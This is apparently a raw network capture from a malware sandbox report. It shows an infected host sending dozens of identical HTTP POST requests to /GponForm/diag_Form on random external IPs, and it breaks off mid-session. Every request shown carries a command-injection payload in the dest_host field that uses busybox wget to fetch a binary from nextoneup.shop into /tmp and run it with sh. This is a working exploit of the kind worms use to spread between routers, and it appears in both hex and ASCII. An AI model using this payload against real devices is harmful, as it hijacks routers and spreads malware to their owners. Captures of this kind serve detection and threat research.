XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.13	55224	2.239.172.172	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.707323074 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.13	41688	5.189.239.166	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.707355976 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.13	52178	202.245.19.146	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.707381010 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.13	36302	2.118.247.109	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.707425117 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.13	53556	37.26.68.69	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.707453012 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.13	60586	123.67.102.246	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.707500935 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.13	41030	118.165.57.51	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.707526922 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.13	46300	202.60.117.147	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.707587004 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.13	44762	42.254.35.163	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.707628965 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.13	45854	94.208.217.90	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.707643986 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.13	57988	5.123.97.24	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.707701921 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.13	40992	118.148.184.164	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.707701921 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.13	43490	212.211.230.40	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.707736969 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.13	33996	37.173.163.192	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.707767963 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.13	33366	178.104.147.95	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.707824945 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.13	60196	123.178.211.32	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.707848072 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.13	50306	42.175.88.0	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.707895041 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.13	43642	123.30.153.7	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.707918882 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.13	39488	109.189.233.129	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.707943916 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.13	36592	79.134.73.71	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.707982063 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.13	54786	117.78.218.82	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.707993984 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.13	40056	109.167.206.211	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.708041906 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.13	38174	178.0.34.24	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.708066940 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.13	49906	109.172.137.11	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.708107948 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.13	39656	148.245.31.147	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.708111048 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.13	35626	148.69.63.194	443

Timestamp	Bytes transferred	Direction	Data
